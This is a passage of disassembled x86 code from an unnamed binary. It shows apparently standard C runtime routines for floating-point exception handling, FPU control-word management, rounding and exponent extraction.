= dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax mov [ecx+4], eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov ecx, [ebp+arg_0] push ebx xor ebx, ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] push esi inc ebx test cl, 10h push edi jz short loc_4272A9 mov eax, [ebp+arg_0] or [eax+4], ebx mov [ebp+arg_8], 0C000008Fh loc_4272A9: ; CODE XREF: sub_427277+23j test cl, 2 jz short loc_4272BC mov eax, [ebp+arg_0] or dword ptr [eax+4], 2 mov [ebp+arg_8], 0C0000093h loc_4272BC: ; CODE XREF: sub_427277+35j test cl, bl jz short loc_4272CE mov eax, [ebp+arg_0] or dword ptr [eax+4], 4 mov [ebp+arg_8], 0C0000091h loc_4272CE: ; CODE XREF: sub_427277+47j test cl, 4 jz short loc_4272E1 mov eax, [ebp+arg_0] or dword ptr [eax+4], 8 mov [ebp+arg_8], 0C000008Eh loc_4272E1: ; CODE XREF: sub_427277+5Aj test cl, 8 jz short loc_4272F4 mov eax, [ebp+arg_0] or dword ptr [eax+4], 10h mov [ebp+arg_8], 0C0000090h loc_4272F4: ; CODE XREF: sub_427277+6Dj mov esi, [ebp+arg_4] mov ecx, [esi] mov eax, [ebp+arg_0] shl ecx, 4 not ecx xor ecx, [eax+8] push 2 and ecx, 10h xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shl ecx, 1 not ecx xor ecx, [eax+8] pop edi and ecx, 8 xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 1 not ecx xor ecx, [eax+8] and ecx, 4 xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 3 not ecx xor ecx, [eax+8] and ecx, edi xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 5 not ecx xor ecx, [eax+8] and ecx, ebx xor [eax+8], ecx call sub_427A8F test al, bl jz short loc_427365 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_427365: ; CODE XREF: sub_427277+E5j test al, 4 jz short loc_427370 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_427370: ; CODE XREF: sub_427277+F0j test al, 8 jz short loc_42737B mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_42737B: ; CODE XREF: sub_427277+FBj test al, 10h jz short loc_427385 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_427385: ; CODE XREF: sub_427277+106j test al, 20h jz short loc_42738F mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_42738F: ; CODE XREF: sub_427277+110j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_4273CE cmp eax, 400h jz short loc_4273C0 cmp eax, 800h jz short loc_4273B4 cmp eax, ecx jnz short loc_4273D4 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_4273D4 ; --------------------------------------------------------------------------- loc_4273B4: ; CODE XREF: sub_427277+12Fj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_4273CA ; --------------------------------------------------------------------------- loc_4273C0: ; CODE XREF: sub_427277+128j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_4273CA: ; CODE XREF: sub_427277+147j mov [eax], ecx jmp short loc_4273D4 ; --------------------------------------------------------------------------- loc_4273CE: ; CODE XREF: sub_427277+121j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_4273D4: ; CODE XREF: sub_427277+133j ; sub_427277+13Bj ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_4273FF cmp eax, 200h jz short loc_4273F2 cmp eax, ecx jnz short loc_42740C mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_42740C ; --------------------------------------------------------------------------- loc_4273F2: ; CODE XREF: sub_427277+16Dj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_42740A ; --------------------------------------------------------------------------- loc_4273FF: ; CODE XREF: sub_427277+166j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_42740A: ; CODE XREF: sub_427277+186j mov [eax], ecx loc_42740C: ; CODE XREF: sub_427277+171j ; sub_427277+179j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] shl ecx, 5 xor ecx, [eax] and ecx, 1FFE0h xor [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+60h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+60h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+60h], ecx fld qword ptr [edi] mov eax, [ebp+arg_0] fstp qword ptr [eax+50h] call sub_427A9A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_42B1A0 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_42747E and dword ptr [esi], 0FFFFFFFEh loc_42747E: ; CODE XREF: sub_427277+202j test byte ptr [eax+8], 8 jz short loc_427487 and dword ptr [esi], 0FFFFFFFBh loc_427487: ; CODE XREF: sub_427277+20Bj test byte ptr [eax+8], 4 jz short loc_427490 and dword ptr [esi], 0FFFFFFF7h loc_427490: ; CODE XREF: sub_427277+214j test byte ptr [eax+8], 2 jz short loc_427499 and dword ptr [esi], 0FFFFFFEFh loc_427499: ; CODE XREF: sub_427277+21Dj test [eax+8], bl jz short loc_4274A1 and dword ptr [esi], 0FFFFFFDFh loc_4274A1: ; CODE XREF: sub_427277+225j mov ecx, [eax] and ecx, 3 sub ecx, 0 mov edx, 0FFFFF3FFh jz short loc_4274E1 dec ecx jz short loc_4274CF dec ecx jz short loc_4274BF dec ecx jnz short loc_4274E3 or byte ptr [esi+1], 0Ch jmp short loc_4274E3 ; --------------------------------------------------------------------------- loc_4274BF: ; CODE XREF: sub_427277+23Dj mov ecx, [esi] and ecx, 0FFFFFBFFh or ecx, 800h jmp short loc_4274DD ; --------------------------------------------------------------------------- loc_4274CF: ; CODE XREF: sub_427277+23Aj mov ecx, [esi] and ecx, 0FFFFF7FFh or ecx, 400h loc_4274DD: ; CODE XREF: sub_427277+256j mov [esi], ecx jmp short loc_4274E3 ; --------------------------------------------------------------------------- loc_4274E1: ; CODE XREF: sub_427277+237j and [esi], edx loc_4274E3: ; CODE XREF: sub_427277+240j ; sub_427277+246j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_427506 dec ecx jz short loc_4274FA dec ecx jnz short loc_427512 and [esi], edx jmp short loc_427512 ; --------------------------------------------------------------------------- loc_4274FA: ; CODE XREF: sub_427277+27Aj mov ecx, [esi] and ecx, edx or ecx, 200h jmp short loc_427510 ; --------------------------------------------------------------------------- loc_427506: ; CODE XREF: sub_427277+277j mov ecx, [esi] and ecx, edx or ecx, 300h loc_427510: ; CODE XREF: sub_427277+28Dj mov [esi], ecx loc_427512: ; CODE XREF: sub_427277+27Dj ; sub_427277+281j fld qword ptr [eax+50h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_427277 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42751C proc near ; CODE XREF: sub_427885+22p var_28 = qword ptr -28h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push ebx push esi xor ebx, ebx mov esi, eax and esi, 1Fh inc ebx test al, 8 mov [ebp+var_4], esi jz short loc_42754A test byte ptr [ebp+arg_8], bl jz short loc_42754A push ebx call sub_427ACA pop ecx and esi, 0FFFFFFF7h jmp loc_42771E ; --------------------------------------------------------------------------- loc_42754A: ; CODE XREF: sub_42751C+18j ; sub_42751C+1Dj test al, 4 jz short loc_427564 test byte ptr [ebp+arg_8], 4 jz short loc_427564 push 4 call sub_427ACA pop ecx and esi, 0FFFFFFFBh jmp loc_42771E ; --------------------------------------------------------------------------- loc_427564: ; CODE XREF: sub_42751C+30j ; sub_42751C+36j test al, bl jz loc_427644 test byte ptr [ebp+arg_8], 8 jz loc_427644 push 8 call sub_427ACA mov eax, [ebp+arg_8] pop ecx mov ecx, 0C00h and eax, ecx jz loc_42761A cmp eax, 400h jz short loc_4275F0 cmp eax, 800h jz short loc_4275C6 cmp eax, ecx jnz loc_42763C mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_439B70 fld ds:dbl_443CA8 fnstsw ax test ah, 41h jz short loc_4275BE fchs loc_4275BE: ; CODE XREF: sub_42751C+9Ej fstp [ebp+var_10] fld [ebp+var_10] jmp short loc_42763A ; --------------------------------------------------------------------------- loc_4275C6: ; CODE XREF: sub_42751C+7Ej mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_439B70 fnstsw ax test ah, 41h jnz short loc_4275E0 fld ds:dbl_443C98 jmp short loc_4275E8 ; --------------------------------------------------------------------------- loc_4275E0: ; CODE XREF: sub_42751C+BAj fld ds:dbl_443CA8 fchs loc_4275E8: ; CODE XREF: sub_42751C+C2j fstp [ebp+var_10] fld [ebp+var_10] jmp short loc_42763A ; --------------------------------------------------------------------------- loc_4275F0: ; CODE XREF: sub_42751C+77j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_439B70 fnstsw ax test ah, 41h jnz short loc_42760A fld ds:dbl_443CA8 jmp short loc_427612 ; --------------------------------------------------------------------------- loc_42760A: ; CODE XREF: sub_42751C+E4j fld ds:dbl_443C98 fchs loc_427612: ; CODE XREF: sub_42751C+ECj fstp [ebp+var_10] fld [ebp+var_10] jmp short loc_42763A ; --------------------------------------------------------------------------- loc_42761A: ; CODE XREF: sub_42751C+6Cj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_439B70 fld ds:dbl_443C98 fnstsw ax test ah, 41h jz short loc_427634 fchs loc_427634: ; CODE XREF: sub_42751C+114j fstp [ebp+var_10] fld [ebp+var_10] loc_42763A: ; CODE XREF: sub_42751C+A8j ; sub_42751C+D2j ... fstp qword ptr [ecx] loc_42763C: ; CODE XREF: sub_42751C+82j and esi, 0FFFFFFFEh jmp loc_42771E ; --------------------------------------------------------------------------- loc_427644: ; CODE XREF: sub_42751C+4Aj ; sub_42751C+54j test al, 2 jz loc_42771E test byte ptr [ebp+arg_8], 10h jz loc_42771E xor esi, esi test al, 10h jz short loc_42765E mov esi, ebx loc_42765E: ; CODE XREF: sub_42751C+13Ej fld ds:dbl_439B70 push edi mov edi, [ebp+arg_4] fld qword ptr [edi] fucompp fnstsw ax test ah, 44h jnp loc_427708 fld qword ptr [edi] lea eax, [ebp+var_8] push eax ; int push ecx push ecx ; double fstp [esp+28h+var_28] call sub_4279D3 mov ecx, [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] add ecx, 0FFFFFA00h add esp, 0Ch cmp ecx, 0FFFFFBCEh jge short loc_4276AB fmul ds:dbl_439B70 mov esi, ebx jmp short loc_4276FE ; --------------------------------------------------------------------------- loc_4276AB: ; CODE XREF: sub_42751C+183j fcomp ds:dbl_439B70 fnstsw ax test ah, 5 jp short loc_4276BC mov edx, ebx jmp short loc_4276BE ; --------------------------------------------------------------------------- loc_4276BC: ; CODE XREF: sub_42751C+19Aj xor edx, edx loc_4276BE: ; CODE XREF: sub_42751C+19Ej xor eax, eax mov al, byte ptr [ebp+var_10+6] and eax, 0Fh or eax, 10h mov word ptr [ebp+var_10+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_4276F5 sub eax, ecx loc_4276D8: ; CODE XREF: sub_42751C+1D7j test byte ptr [ebp+var_10], bl jz short loc_4276E3 test esi, esi jnz short loc_4276E3 mov esi, ebx loc_4276E3: ; CODE XREF: sub_42751C+1BFj ; sub_42751C+1C3j shr dword ptr [ebp+var_10], 1 test byte ptr [ebp+var_10+4], bl jz short loc_4276EF or byte ptr [ebp+var_10+3], 80h loc_4276EF: ; CODE XREF: sub_42751C+1CDj shr dword ptr [ebp+var_10+4], 1 dec eax jnz short loc_4276D8 loc_4276F5: ; CODE XREF: sub_42751C+1B8j test edx, edx jz short loc_427701 fld [ebp+var_10] fchs loc_4276FE: ; CODE XREF: sub_42751C+18Dj fstp [ebp+var_10] loc_427701: ; CODE XREF: sub_42751C+1DBj fld [ebp+var_10] fstp qword ptr [edi] jmp short loc_42770A ; --------------------------------------------------------------------------- loc_427708: ; CODE XREF: sub_42751C+155j mov esi, ebx loc_42770A: ; CODE XREF: sub_42751C+1EAj test esi, esi pop edi jz short loc_427717 push 10h call sub_427ACA pop ecx loc_427717: ; CODE XREF: sub_42751C+1F1j and [ebp+var_4], 0FFFFFFFDh mov esi, [ebp+var_4] loc_42771E: ; CODE XREF: sub_42751C+29j ; sub_42751C+43j ... test byte ptr [ebp+arg_0], 10h jz short loc_427735 test byte ptr [ebp+arg_8], 20h jz short loc_427735 push 20h call sub_427ACA pop ecx and esi, 0FFFFFFEFh loc_427735: ; CODE XREF: sub_42751C+206j ; sub_42751C+20Cj xor eax, eax test esi, esi pop esi setz al pop ebx leave retn sub_42751C endp ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_427793+6Cp ; sub_427793+93p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_42775B jle short locret_427765 cmp eax, 3 jg short locret_427765 mov ds:dword_4E28F4, 22h retn ; --------------------------------------------------------------------------- loc_42775B: ; CODE XREF: sub_427740+7j mov ds:dword_4E28F4, 21h locret_427765: ; CODE XREF: sub_427740+9j ; sub_427740+Ej retn sub_427740 endp ; =============== S U B R O U T I N E ======================================= sub_427766 proc near ; CODE XREF: sub_427885+55p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_427772 push 5 jmp short loc_427788 ; --------------------------------------------------------------------------- loc_427772: ; CODE XREF: sub_427766+6j test al, 8 jz short loc_42777A xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_42777A: ; CODE XREF: sub_427766+Ej test al, 4 jz short loc_427782 push 2 jmp short loc_427788 ; --------------------------------------------------------------------------- loc_427782: ; CODE XREF: sub_427766+16j test al, 1 jz short loc_42778A push 3 loc_427788: ; CODE XREF: sub_427766+Aj ; sub_427766+1Aj pop eax retn ; --------------------------------------------------------------------------- loc_42778A: ; CODE XREF: sub_427766+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_427766 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_427793(int,int,int,int,int,int,double,int) sub_427793 proc near ; CODE XREF: sub_427833+2Ap ; sub_427885+87p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h xor eax, eax loc_42779B: ; CODE XREF: sub_427793+18j mov ecx, ds:dword_443BB0[eax*8] cmp ecx, [ebp+arg_4] jz short loc_42780D inc eax cmp eax, 1Dh jl short loc_42779B xor eax, eax loc_4277AF: ; CODE XREF: sub_427793+81j test eax, eax mov [ebp+var_1C], eax jz short loc_427816 mov eax, [ebp+arg_8] mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push esi mov esi, [ebp+arg_0] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] push 0FFFFh push [ebp+arg_20] mov [ebp+var_20], esi mov dword ptr [ebp+var_8+4], eax call sub_427AA6 lea eax, [ebp+var_20] push eax call sub_427274 add esp, 0Ch test eax, eax jnz short loc_427807 push esi call sub_427740 add esp, 4 loc_427807: ; CODE XREF: sub_427793+69j fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_42780D: ; CODE XREF: sub_427793+12j mov eax, ds:off_443BB4[eax*8] jmp short loc_4277AF ; --------------------------------------------------------------------------- loc_427816: ; CODE XREF: sub_427793+21j push 0FFFFh push [ebp+arg_20] call sub_427AA6 push [ebp+arg_0] call sub_427740 fld [ebp+arg_18] add esp, 0Ch leave retn sub_427793 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_427833(int,double,int) sub_427833 proc near ; CODE XREF: sub_424720+51p ; sub_4255CA+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_443BA8, 0 jnz short loc_427867 push [ebp+arg_C] ; int fld [ebp+arg_4] sub esp, 18h fstp [esp+1Ch+var_C] fldz fstp [esp+1Ch+var_14] fld [ebp+arg_4] fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_427793 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_427867: ; CODE XREF: sub_427833+Aj push 0FFFFh push [ebp+arg_C] mov ds:dword_4E28F4, 21h call sub_427AA6 fld [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_427833 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_427885(int,int,double,double,int) sub_427885 proc near ; CODE XREF: sub_424720:loc_4247E7p ; sub_4255CA:loc_425691p var_9C = qword ptr -9Ch var_94 = qword ptr -94h var_8C = qword ptr -8Ch var_84 = dword ptr -84h var_80 = byte ptr -80h var_40 = dword ptr -40h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 80h mov eax, ds:dword_4437D4 push [ebp+arg_18] mov [esp+84h+var_4], eax lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42751C add esp, 0Ch test eax, eax jnz short loc_4278D7 and [esp+80h+var_40], 0FFFFFFFEh lea eax, [ebp+arg_10] push eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+arg_18] push [ebp+arg_0] push eax lea eax, [esp+94h+var_80] push eax call sub_427277 add esp, 18h loc_4278D7: ; CODE XREF: sub_427885+2Cj push [ebp+arg_0] call sub_427766 add esp, 4 cmp ds:dword_443BA8, 0 jnz short loc_427916 test eax, eax jz short loc_427916 push [ebp+arg_18] ; int fld [ebp+arg_10] sub esp, 18h fstp [esp+9Ch+var_8C] fldz fstp [esp+9Ch+var_94] fld [ebp+arg_8] fstp [esp+9Ch+var_9C] push [ebp+arg_4] ; int push eax ; int call sub_427793 add esp, 24h jmp short loc_427930 ; --------------------------------------------------------------------------- loc_427916: ; CODE XREF: sub_427885+64j ; sub_427885+68j push eax call sub_427740 mov [esp+84h+var_84], 0FFFFh push [ebp+arg_18] call sub_427AA6 fld [ebp+arg_10] pop ecx pop ecx loc_427930: ; CODE XREF: sub_427885+8Fj mov ecx, [esp+80h+var_4] call sub_422B83 mov esp, ebp pop ebp retn sub_427885 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_42793D(double) sub_42793D proc near ; CODE XREF: sub_424720:loc_4247A6p ; sub_4255CA:loc_425650p var_8 = qword ptr -8 arg_0 = qword ptr 4 push ecx push ecx fld [esp+8+arg_0] frndint fstp [esp+8+var_8] fld [esp+8+var_8] pop ecx pop ecx retn sub_42793D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42794E(double,int) sub_42794E proc near ; CODE XREF: sub_4279D3+82p ; sub_4279D3+95p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] fld [ebp+arg_0] mov ecx, dword ptr [ebp+arg_0+6] fstp [ebp+var_8] add eax, 3FEh shl eax, 4 and ecx, 0FFFF800Fh or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_42794E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427978 proc near ; CODE XREF: sub_424720+31p ; sub_4255CA+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_427990 cmp [ebp+arg_0], edx jnz short loc_4279A2 xor eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- loc_427990: ; CODE XREF: sub_427978+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4279A2 cmp [ebp+arg_0], edx jnz short loc_4279A2 push 2 jmp short loc_4279CC ; --------------------------------------------------------------------------- loc_4279A2: ; CODE XREF: sub_427978+11j ; sub_427978+1Fj ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4279B5 push 3 jmp short loc_4279CC ; --------------------------------------------------------------------------- loc_4279B5: ; CODE XREF: sub_427978+37j cmp cx, 7FF0h jnz short loc_4279CF test [ebp+arg_4], 7FFFFh jnz short loc_4279CA cmp [ebp+arg_0], edx jz short loc_4279CF loc_4279CA: ; CODE XREF: sub_427978+4Bj push 4 loc_4279CC: ; CODE XREF: sub_427978+28j ; sub_427978+3Bj pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_4279CF: ; CODE XREF: sub_427978+42j ; sub_427978+50j xor eax, eax pop ebp retn sub_427978 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4279D3(double,int) sub_4279D3 proc near ; CODE XREF: sub_42751C+166p var_14 = qword ptr -14h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld ds:dbl_439B70 fld [ebp+arg_0] fucompp fnstsw ax test ah, 44h jp short loc_4279F3 fldz xor edx, edx jmp loc_427A82 ; --------------------------------------------------------------------------- loc_4279F3: ; CODE XREF: sub_4279D3+15j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_427A5F test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_427A0B cmp dword ptr [ebp+arg_0], ecx jz short loc_427A5F loc_427A0B: ; CODE XREF: sub_4279D3+31j fld [ebp+arg_0] mov edx, 0FFFFFC03h fcomp ds:dbl_439B70 fnstsw ax test ah, 5 jp short loc_427A25 xor eax, eax inc eax jmp short loc_427A3A ; --------------------------------------------------------------------------- loc_427A25: ; CODE XREF: sub_4279D3+4Bj xor eax, eax jmp short loc_427A3A ; --------------------------------------------------------------------------- loc_427A29: ; CODE XREF: sub_4279D3+6Bj shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_427A36 or dword ptr [ebp+arg_0+4], 1 loc_427A36: ; CODE XREF: sub_4279D3+5Dj shl dword ptr [ebp+arg_0], 1 dec edx loc_427A3A: ; CODE XREF: sub_4279D3+50j ; sub_4279D3+54j test byte ptr [ebp+arg_0+6], 10h jz short loc_427A29 and byte ptr [ebp+arg_0+6], 0EFh cmp eax, ecx jz short loc_427A4C or byte ptr [ebp+arg_0+7], 80h loc_427A4C: ; CODE XREF: sub_4279D3+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+14h+var_14] call sub_42794E add esp, 0Ch jmp short loc_427A82 ; --------------------------------------------------------------------------- loc_427A5F: ; CODE XREF: sub_4279D3+28j ; sub_4279D3+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+14h+var_14] call sub_42794E mov edx, dword ptr [ebp+arg_0+6] shr edx, 4 and edx, 7FFh add esp, 0Ch sub edx, 3FEh loc_427A82: ; CODE XREF: sub_4279D3+1Bj ; sub_4279D3+8Aj mov eax, [ebp+arg_8] fstp [ebp+var_8] fld [ebp+var_8] mov [eax], edx leave retn sub_4279D3 endp ; =============== S U B R O U T I N E ======================================= sub_427A8F proc near ; CODE XREF: sub_427277+DEp var_4 = word ptr -4 push ecx fstsw [esp+4+var_4] movsx eax, [esp+4+var_4] pop ecx retn sub_427A8F endp ; =============== S U B R O U T I N E ======================================= sub_427A9A proc near ; CODE XREF: sub_427277+1E6p var_4 = word ptr -4 push ecx fnstsw [esp+4+var_4] fnclex movsx eax, [esp+4+var_4] pop ecx retn sub_427A9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AA6 proc near ; CODE XREF: sub_424720+13p ; sub_424720+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] not eax and eax, [ebp+var_4] or eax, ecx mov [ebp+arg_4], eax fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_427AA6 endp ; =============== S U B R O U T I N E ======================================= sub_427ACA proc near ; CODE XREF: sub_42751C+20p ; sub_42751C+3Ap ... var_8 = qword ptr -8 arg_0 = dword ptr 4 push ecx push ecx mov cl, byte ptr [esp+8+arg_0] test cl, 1 jz short loc_427AE0 fld ds:tbyte_443CC0 fistp [esp+8+arg_0] wait loc_427AE0: ; CODE XREF: sub_427ACA+9j test cl, 8 jz short loc_427AF5 fstsw ax fld ds:tbyte_443CC0 fstp [esp+8+var_8] wait fstsw ax loc_427AF5: ; CODE XREF: sub_427ACA+19j test cl, 10h jz short loc_427B04 fld ds:tbyte_443CCC fstp [esp+8+var_8] wait loc_427B04: ; CODE XREF: sub_427ACA+2Ej test cl, 4 jz short loc_427B12 fldz fld1 fdivrp st(1), st fstp st wait loc_427B12: ; CODE XREF: sub_427ACA+3Dj test cl, 20h jz short loc_427B1D fldpi fstp [esp+8+var_8] wait loc_427B1D: ; CODE XREF: sub_427ACA+4Bj pop ecx pop ecx retn sub_427ACA endp ; =============== S U B R O U T I N E ======================================= sub_427B20 proc near ; CODE XREF: sub_427B9F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push 20h pop ecx cdq idiv ecx push 1Fh pop ecx sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl mov ecx, [esp+arg_0] not edx test [ecx+eax*4], edx jz short loc_427B48 loc_427B3F: ; CODE XREF: sub_427B20+26j xor eax, eax retn ; --------------------------------------------------------------------------- loc_427B42: ; CODE XREF: sub_427B20+2Cj cmp dword ptr [ecx+eax*4], 0 jnz short loc_427B3F loc_427B48: ; CODE XREF: sub_427B20+1Dj inc eax cmp eax, 3 jl short loc_427B42 xor eax, eax inc eax retn sub_427B20 endp ; =============== S U B R O U T I N E ======================================= sub_427B52 proc near ; CODE XREF: sub_427B9F+42p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push edi push 20h pop ecx cdq idiv ecx mov edi, [esp+8+arg_0] mov esi, eax lea eax, [edi+esi*4] push eax push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl push edx push dword ptr [eax] call sub_4289A9 add esp, 0Ch dec esi js short loc_427B9C lea edi, [edi+esi*4] loc_427B83: ; CODE XREF: sub_427B52+48j test eax, eax jz short loc_427B9C push edi push 1 push dword ptr [edi] call sub_4289A9 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_427B83 loc_427B9C: ; CODE XREF: sub_427B52+2Cj ; sub_427B52+33j pop edi pop esi retn sub_427B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427B9F proc near ; CODE XREF: sub_427CC0+79p ; sub_427CC0+C2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx push esi push edi mov edi, [ebp+arg_4] dec edi push 20h lea eax, [edi+1] pop ecx cdq idiv ecx push 1Fh pop esi sub esi, edx xor edx, edx inc edx mov ecx, esi shl edx, cl mov ebx, eax mov eax, [ebp+arg_0] test [eax+ebx*4], edx jz short loc_427BEE lea ecx, [edi+1] push ecx push eax call sub_427B20 test eax, eax pop ecx pop ecx jnz short loc_427BEB push edi push [ebp+arg_0] call sub_427B52 pop ecx pop ecx mov [ebp+var_4], eax loc_427BEB: ; CODE XREF: sub_427B9F+3Cj mov eax, [ebp+arg_0] loc_427BEE: ; CODE XREF: sub_427B9F+2Cj or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax+ebx*4], edx inc ebx cmp ebx, ecx jge short loc_427C09 lea edi, [eax+ebx*4] sub ecx, ebx xor eax, eax rep stosd loc_427C09: ; CODE XREF: sub_427B9F+5Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_427B9F endp ; =============== S U B R O U T I N E ======================================= sub_427C11 proc near ; CODE XREF: 